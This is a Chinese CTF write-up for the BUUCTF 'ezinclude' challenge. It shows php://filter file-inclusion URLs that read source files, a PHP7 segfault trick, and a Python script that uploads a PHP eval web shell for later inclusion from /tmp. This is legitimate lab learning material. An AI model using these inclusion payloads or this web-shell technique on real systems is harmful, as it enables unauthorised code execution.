zoukankan      html  css  js  c++  java
  • BUUCTF[NPUCTF2020]ezinclude wp

    进入页面

    查看源码发现提示

     

     cookie处发现可疑字符,尝试放入pass参数

     

     跳转404,连上burp看响应包,发现flflflflag.php

    尝试访问flflflflag.php,发现include($_GET["file"])的提示

    使用伪协议读取源码

    Payload:

    f5dc51e1-26ed-4e2b-9513-0e9d606a1b2c.node3.buuoj.cn/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=index.php

     

    f5dc51e1-26ed-4e2b-9513-0e9d606a1b2c.node3.buuoj.cn/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=flflflflag.php

     

    ③f5dc51e1-26ed-4e2b-9513-0e9d606a1b2c.node3.buuoj.cn/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=config.php

     

    读源码之后知道了出题人想要girlfriendinclude存在利用点,但是正则过滤了伪协议之后就不能用伪协议写马了,这里可以用php7 segment fault特性:
    php://filter/string.strip_tags=/etc/passwd
    php执行过程中出现 Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除

     

    脚本:

    import requests
    from io import BytesIO
    import re
    payload = "<?php eval($_POST[a]);?>"
    file_data={
       'file': BytesIO(payload.encode())
    }
    url="http://f5dc51e1-26ed-4e2b-9513-0e9d606a1b2c.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
    try:
       r=requests.post(url=url,files=file_data,allow_redirects=False)
    except:
            print(1)

    print(session)

     

    打开dir.php发现已经成功写入马了

    payload:/flflflflag.php?file=/tmp/phpX5gA3,post:a=phpinfo();在phpinfo中找到flag

     

    参考:

    https://blog.csdn.net/weixin_43610673/article/details/105898440

     

  • 相关阅读:
    nginx 配置https, 服务器是阿里云的ECS(亲测)
    jenkins 安装2.170版本 的问题汇中
    终于有人把“TCC分布式事务”实现原理讲明白了!
    springcloud(九) springboot Actuator + admin 监控
    springcloud(八) Hystrix监控
    springcloud(七) feign + Hystrix 整合 、
    springboot 2.0 自定义redis自动装配
    springboot 2.0 自动装配原理 以redis为例
    博文分类索引--Python
    【python】-- Ajax
  • 原文地址:https://www.cnblogs.com/Yhck/p/13621000.html
Copyright © 2011-2022 走看看